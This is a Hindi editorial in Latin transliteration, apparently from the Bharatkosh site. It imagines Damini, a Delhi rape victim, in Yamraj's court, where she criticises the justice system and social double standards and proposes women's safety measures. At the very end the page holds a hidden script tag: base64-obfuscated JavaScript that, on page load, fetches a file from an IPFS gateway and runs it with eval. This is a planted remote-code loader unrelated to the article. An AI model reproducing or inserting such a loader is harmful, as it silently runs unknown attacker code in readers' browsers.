यमलोक में एक निर्भय अमानत 'दामिनी' -आदित्य चौधरी

50px|right|link=| 20px|link=http://www.facebook.com/bharatdiscovery|fesabuk par bharatakosh (nee shuruat) bharatakosh 20px|link=http://www.facebook.com/profile.php?id=100000418727453|fesabuk par adity chaudhari adity chaudhari yamalok mean ek nirbhay amanat 'damini' -adity chaudhari right|300px|border         yamalok mean yamaraj apane sianhasan par virajaman haian. chitragupt apane bahi khate se aparimit brahmand mean vyapt 84 lakh yoniyoan ka asankhy-asankhy yugoan, chaturyugoan aur manvantaroan ka lekha-jokha dekh rahe haian. kisane kya karm kie aur ve kaise the, kise svarg dean kise nark, kise moksh mile aur kise pashu yoni. yah sab chal hi raha tha ki sachiv ne ghoshana ki- "damini ! umr teees varsh, nagar dilli, mrityu lok prithvi... upasthit hoaaa ! damini sabha mean aee aur usane dharmaraj ki or dekha... dharmaraj damini ki or dekh nahian pa rahe the... usaki aankhoan mean dekhane ke asaphal prayas ke bad ve chitragupt se bole- "chitragupt! maian is bachchi ki or dekh nahian pa raha hooan... kya karan hai ... tum hi poochho isase ki isake pap-puny kya haian ?" "isaki aankhoan mean aankhean dalakar bat karane ki shakti svayan dharmaraj mean nahian hai to maian to apaka sevak matr hooan... lekin isake jivan ki ghatanaoan par drishtipat karane se pata chalata hai ki isase aankh milane ki shakti to bhagy vidhata, svayan eeshvar mean bhi nahian hai prabhu !" "is par hue atyachar ko dekhate hue isako ek yug ki kalavadhi ke lie svarg bhej do chitragupt !" "mujhe svarg nahian jana hai !, mujhe svarg bhejakar ap kya sabit karana chahate haian ?... kya ye mere sath hue balatkar ke bad mujhe milane vala inam hai ?... isaka arth to ye hua ki jinhoanne mere sath dushkarm kiya hai ve hi mere svarg jane ka karan bane ?... to mujhe achchhe karmoan ka nahian balki balatkariyoan ka abhari hona chahie... mere vichar se yadi balatkari chh: ki bajay barah hote to ap mujhe ek ki bajay do yugoan tak svarg dete ?... aur apako kya lagata hai ? svarg mean rahane se mere oopar laga ye kalank mit jayaga ? kya svarg mean rahane vale ye nahian janegean ki maian svarg mean kyoan hooan ?" "putri ! karm ka lekha to sab vidhata ke hath mean hai. jo bhagy mean likha tha, vahi tumane bhoga. isamean n to maian kuchh kar sakata hooan aur n tum hi..." "vo kaun vidhata hai jo abodh bachchiyoan aur ashakt nariyoan ke sath dushkarm hote dekhakar chain ki niand so pata hai ? us vidhata se ye to poochhie ki hamare sath balatkar hone ki ghatana ka zimmedar kaun hai ? yadi vahi sab kuchh karavata hai to phir ye balatkar bhi vahi karava raha hai ! kash ap stri hote aur dharati par janm lete tab apako pata chalata ki kis prakar stri ke janmane se pahale se hi mrityu, durbhagy aur bhay har samay usaka pichha karate rahate haian...." "ham un nich dushkarmiyoan ko kumbhipakanarakaki bhayanak yatanaoan mean anant kal tak rakheangean putri! tere sath nyay hoga..." "kab ?... lekin kab ? unako phaansi hone ke bad ! n jane kab hogi unhean phaansi aur pata nahian hogi bhi ya nahian ? dharmaraj ji ye ganimat janie ki un aparadhiyoan mean se koee arabapati nahian hai varana phaansi to door ki bat hai, kes bhi nahian banata... kes chalata bhi to gavah hostail ho jate ya rod ऍksident mean mare jate...  "lekin dushkarm ke abhiyog mean to kisi sakshi ki avashyakata nahian hai bitiya... jaisa ki prithvi ka vidhi-vidhan hai..." chitragupt dhire se bole  "to ap mujhase qanooni bahas karana chahate haian prabhu ! koee bat nahian hai... itana qanoon to maian bhi janati hooan, aur ap bhi yah jan lijie ki mere paksh mean jo aandolan hua, yadi n hua hota to mere gharavaloan ko jan se marane ki dhamakiyaan di ja rahi hotian... unhean paise dekar chup karane ke prayas kie ja rahe hote... meri maranasann avastha ki anadekhi karate hue jis tarah se pulis ne mere bayan mean apana dakhal diya, kya apase chhupa hai ?" "putri ! aj tere nirbhay acharan aur vartalap se mujhe savitri ka smaran ho aya jisane apane pati satyavan ko mujhase dobara jivit karava liya tha." dharmaraj ne kaha "savitri ka pati to apane jivit kar diya, yadi ap n bhi karate to 'vivah' to doosara bhi ho sakata hai, pati ya patni to doosare... tisare... kitane bhi ho sakate haian prabhu ! lekin jo maianne khoya hai use n ap lauta sakate haian aur n hamara vidhata sakshat eeshvar hi... maian apase yah poochhana chahati hooan ki hamare samaj mean vivah se pahale kisi l daki ke lie hi kuanvara hona kyoan vishesh mahattv rakhata hai, l dake ke lie ye manyata kyoan chalan mean nahian hai? yah sirf hamare desh ki samasya ho aisa nahian hai... aangrezoan ko to duniya ki sabase sabhy jati mana jata hai... ianglॅnd ke rajakumar prians aauf vels charls ki shadi jab dayana se nishchit huee to vahaan ke shahi niyam ke anusar dayana ka kaumary parikshan hua... agar parikshan hi hona tha to donoan ka hona tha... charls ka bhi hona chahie tha... lekin jab charls ki doosari shadi huee to kॅmila ka yah parikshan nahian hua kyoanki vah to anek varshoan se charls ki patni ki tarah rah rahi thi.... niyam to niyam hai, is niyam se to kॅmila bhi rajakumar se vivah ke yogy nahian thi lekin niyam ki anadekhi karake vivah ho gaya...chalie is bahane ek nari ko apamanit karane vala ashobhaniy niyam to toota." "putri tumhara pratyek tark uchit hai. maian sahamat hooan." dharmaraj bole "stri ki samasya yahian samapt nahian hoti... man lijie koee l daki yadi balatkar ka virodh nahian karati hai... vah niyati man kar apani jan ki raksha ke lie chupachap bina kisi virodh ke balatkar mean sahamati de deti hai, jisase ki kam se kam mar khane se to bach jay aur vahaan pulis a jati hai to us l daki ko nishchit hi veshyavritti ke jurm mean giraftar kiya jaega... kya vah l daki yah sabit kar paegi ki vah veshya nahian hai ? pulis kahegi ki balatkar ho raha tha to chikhane-chillane ki avaz bhi ani chahie aur chot ke nishan bhi hone chahie... . adalat mean bhi yahi sab hota hai, prabhu! sabase adhik dardanak drishy to tab banata hai jab virodh paksh ka vakil yah sabit karane ka prayas karata hai ki balatkar to hua hi nahian... ye haian apake banae manushy ke vidhi-vidhan..."  "jahaan tak ham vichar karate haian vidhi ka nirman to manushy ke us samooh dvara hota hai jise 'buddhijivi' kahate haian, to phir samasya kya hai chitragupt ?" "isaka uttar dene mean nishchit roop se damini hi saksham hogi prabhu ! usi se poochhate haian." chitragupt ne kaha "qanoon banana aur use lagoo karana donoan mean samanjasy nahian hai. jis star ke vyakti qanoon banate haian kya usi star ke vyakti use lagoo karate haian ?... aisa nahian hota hai prabhu ! apake devalok mean devata aur rakshas alag-alag haian lekin mrityulok mean apane pratyek manushy ke bhitar devata aur rakshas ek sath bana diya. hamari prithvi ke itihas mean yah khojana bahut mushkil hai ki kaun devata hua aur kaun rakshas. paristhitiyoan se vashibhoot hokar devata ya rakshas ho jana hi manushy ki niyati hai... yahi jivan kram hai." "beti yah batao ki is sab ka doshi kaun hai aur isamean sudhar kaise ho sakata hai ?" chitragupt ne poochha "prabhu ! lokatantr mean kisi suvyavastha ke lie kisi bhi sarakar ko shrey dena nirarthak hi mana jata hai kyoanki sarakar janata ne chuni hai to shrey bhi janata ko hi jata hai, isi tarah kisi kuvyavastha ke lie bhi sirf kisi sarakar ko doshi manana galat hi hai. ye to janata hai jo apane pratinidhi chunakar bhejati hai. har jagah janata ki pasand badalati ja rahi hai. filmoan mean ab adarshavadi aur sidha-sada hiro pasand nahian kiya jata sabako 'dabang' chahie.  chunavoan mean achchhe log nakar die ge isalie vo rajaniti chho dakar kuchh aur karane lage. apako kya lagata hai anna hajare jaise log chunav l deange to chunav jiteange aur pradhanamantri baneange ? kabhi bhi aisa nahian ho sakata prabhu ! kabhi nahian.          har jagah dohare manak haian aur yah sabase zyada to hamare gharoan mean chalata hai. maanean aur bahanean b di shan se apane bete aur bhaee ke bare mean bat karati haian ki dekho isaki to char-char garlaphrॅnd haian, isake pichhe to l dakiyaan p di rahati haian. kya ve apani beti ke bare mean bhi aise hi bat kar sakati haian, prashn hi paida nahian hota. har mamale mean yah dohara manak dekha ja sakata hai. yahaan tak ki hamare gharoan mean betoan ko beti ki apeksha behatar khane-pahanane ko milata hai.          yadi hamare desh mean prajatantr hai to hamare desh ki sarakar hamare samaj ka aina hi hogi aur sarakar mean neta yadi yogy aur adarshavadi nahian haian to usaka karan hai ki hamare gali-muhalle mean hi kitane adarshavadi rahate haian ? aisi kitani patni haian jo apane pati se kahati haian ki chahe bhookhe hi so jaeange lekin ghar mean rishvat ka ek paisa nahian ana chahie.         jis samay mere lie rajapath par pradarshan ho raha tha, us samay rajadhani mean hi dabang film sau karo d ki kamaee karane ke lie hausaful le rahi thi. jab ki akhabaroan aur tivi par to yah samachar ana chahie ki sinema h aaul khali rahe... koee filmean dekhane pahuancha hi nahian. jab tak hamara apana aangan saf nahian hoga tab tak rajapath se koee ummid karana nasamajhi hi hai. mujhe apane lie iansaf tab tak nahian chahie prabhu ! jab tak ki un sabhi l dakiyoan ko bhi nyay nahian milata jinake lie koee pradarshan aur aandolan nahian hue kyoanki un l dakiyoan mean se koee sudoor rajy mean kisi gaanv ki hai, koee dalit, koee adivasi aur koee alpasankhyak hai. jahaan tak saval aparadhiyoan ko saza dene ka hai to yah sabhi janate haian ki phaansi ki saza se hatyaean kam nahian hoti to balatkar kaise kam ho jaeangean ? dilli mean san 2012 mean balatkar ke 650 kes rajistar hue. yane poore varsh rozana do balatkar hue. ap bhi janate haian ki balatkar to isase bahut zyada hue lekin jo likhe ge ve itane haian. yoorop aur amarika ke halat to aur bhi badatar haian, nyooy aaurk mean rozana ausatan 7 balatkar ke kes darj hote haian aur landan mean 9. hamare desh ke gaanvoan ke halat to aise haian ki kahate hue bhi dar lagata hai. l dakiyoan ko chhe de jane ki to bat karana bhi bekar hai.         zara sochie jis shahar mean rozana hi kee balatkar ho rahe hoan aur yah sankhya pratidin badhati hi ja rahi ho vahaan ap is s di-gali vyavastha mean kis-kis ko nyay aur suraksha deangean ?" "to phir tum chahati kya ho bitiya... tumhari drishti mean kya hona chahie ?..." "mera sujhav hai ki-  mahila raksha mantralay banana chahie jisaka bajat raksha bajat ke sath jo da jay. mahila raksha mantralay ke aantargat ek 'mahila sena pulis' ho jo bharatiy sena ke sath hi prashikshan aur abhyas kare. vyapak star par is sena mean bharti hoan. desh ki pratyek l daki ko is sena mean kam se kam ek varsh tak apani sevaean dena anivary ho. sabhi vidyalayoan mean atmaraksha ka prashikshan anivary ho. l dakiyoan ko kalaee par bandhe hone vale 'ilektr aaunik suraksha k de' muft die jaean aur bhi kee apatakalik suraksha upakaran saste hote haian jo upalabdh karae ja sakate haian  yadi is prakar ki vyavastha ho sake to sudhar sanbhav hai varana to sab bekar ki batean haian...." isake bad damini chup ho gayi aur aie ab is varta se vapas bharatakosh par chalean... ab maian aur kya likhooan, is samay mujhe kuchh yad nahian a raha hai, sivay dushyant kumar ki in panktiyoan ke... "yahaan to sirf gooange aur bahare log basate haian . khuda jane vahaan par kis tarah jalasa hua hoga .." is saptah itana hi... agale saptah kuchh aur... -adity chaudhari sansthapak evan pradhan sampadak

pichhale sampadakiy

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>